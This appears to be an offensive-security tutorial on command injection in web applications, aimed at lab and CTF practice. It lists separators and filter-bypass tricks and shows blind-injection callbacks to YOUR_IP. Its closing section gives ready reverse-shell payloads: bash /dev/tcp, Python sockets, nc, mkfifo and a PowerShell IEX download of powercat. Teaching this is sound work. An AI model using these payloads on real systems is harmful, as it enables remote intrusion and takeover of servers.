Command Injection

Running Commands Through a Web App

Some web applications need to interact with the operating system. A form that pings an IP, a tool that converts files, a page that clones a git repo. Under the hood, these features build a shell command from your input and execute it.

If the application doesn’t sanitize that input, you can inject your own commands alongside the intended one.

If a web form looks like it’s running a system command, it probably is. And if it is, it’s worth testing for injection.


How It Works

Say a web app takes a URL and runs git clone on it:

git clone https://github.com/some/repo

But what if you add a semicolon and another command?

git clone https://github.com/some/repo; whoami

The shell sees two commands separated by ;. It runs git clone, then runs whoami. Your injected command executes on the server.


Command Separators

Different characters let you chain commands. Try all of them, because filters often block some but not others.

SeparatorWhat it doesExample
;Run both, regardless of successping; whoami
&&Run second only if first succeedsping && whoami
\|\|Run second only if first failsping \|\| whoami
\|Pipe output of first to secondping \| whoami
`Execute inline (backticks)ping `whoami`
$()Command substitutionping $(whoami)
%0aNewline (URL encoded)ping%0awhoami

Semicolons are blocked? Try ||. Pipes blocked? Try %0a. There are many ways to separate commands, and filters rarely catch them all.


Identifying Command Injection

What to Look For

Any web form or parameter that seems to interact with the OS:

  • Ping/traceroute tools - “Enter an IP to ping”
  • File operations - “Convert this file”, “Download from URL”
  • System utilities - “Clone a repository”, “Check DNS”
  • Search functions that call system tools like grep or find
  • Admin panels with diagnostic or management features

Testing Step by Step

  1. Submit a valid input first to see normal behavior
  2. Try injecting a simple command after a separator:
    • Linux: ; id or ; whoami
    • Windows: & ipconfig or | whoami
  3. If the output is visible, look for your command’s result in the response
  4. If the output is blind (no visible result), try a time-based test:
    • Linux: ; sleep 5 (response delayed by 5 seconds?)
    • Windows: & ping -n 5 127.0.0.1 (delayed?)

Blind Command Injection

Sometimes the command executes but you can’t see the output. Confirm injection with:

  • Time delays - ; sleep 10 makes the response noticeably slower
  • DNS lookups - ; nslookup YOUR_DOMAIN and check your DNS logs
  • HTTP callbacks - ; curl http://YOUR_IP/proof and check your web server logs
  • File creation - ; touch /tmp/proof then check via another vulnerability

Bypassing Filters

Applications often filter dangerous characters or commands. Here’s how to get around them.


Dealing with Spaces

If the application breaks on spaces in your injected command:

TechniqueExampleWhat it does
URL encodingcat%20/etc/passwd%20 = space
Tabcat%09/etc/passwd%09 = tab
IFS variablecat${IFS}/etc/passwd${IFS} = space in bash
Brace expansion{cat,/etc/passwd}No spaces needed at all

Dealing with Blocked Commands

If the filter blocks specific command names like cat or whoami:

TechniqueExample
Alternative commandstac instead of cat, id instead of whoami
Quotesw'h'oami or w"h"oami (bash ignores quotes mid-word)
Backslashw\hoami
Variable insertionwho$()ami (empty substitution, no effect)
Base64 encodingecho d2hvYW1p \| base64 -d \| bash

URL Encoding Special Characters

When injecting via URL parameters or POST data, encode the separators:

CharacterURL Encoded
;%3B
&%26
\|%7C
space%20
newline%0A
# Inject ipconfig after git using encoded semicolon
curl -X POST --data 'Archive=git%3Bipconfig' http://target:8000/archive

Determining the Shell

On Windows targets, you need to know if you’re in CMD or PowerShell before crafting payloads. This snippet tells you:

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

URL-encode and inject it. The output will say either “CMD” or “PowerShell”.

Why it matters:

  • CMD uses dir, type, & for chaining
  • PowerShell uses Get-ChildItem, Get-Content, Invoke-WebRequest
  • Reverse shell payloads are completely different between the two

From Injection to Reverse Shell

Once you’ve confirmed command injection, upgrade to a full interactive shell.


Linux

Start a listener:

nc -nvlp 4444

Inject the reverse shell (URL-encode for web delivery):

bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

If bash is filtered, try alternatives:

  • Python: python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("YOUR_IP",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
  • nc: nc YOUR_IP 4444 -e /bin/bash
  • mkfifo: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc YOUR_IP 4444 >/tmp/f

Windows (PowerShell)

  1. Host Powercat on your machine:
python3 -m http.server 80
  1. Start a listener:
nc -nvlp 4444
  1. Inject the download-and-execute command:
IEX (New-Object System.Net.Webclient).DownloadString("http://YOUR_IP/powercat.ps1");powercat -c YOUR_IP -p 4444 -e powershell

URL-encode the entire payload and inject via the vulnerable parameter.

Always have multiple reverse shell payloads ready. If one is blocked, try another. RevShells generates payloads for every language and encoding.


Practice Boxes

  • Shocker - Shellshock command injection via CGI
  • Bashed - Web shell leading to command execution
  • Pickle Rick - Command injection with filter bypasses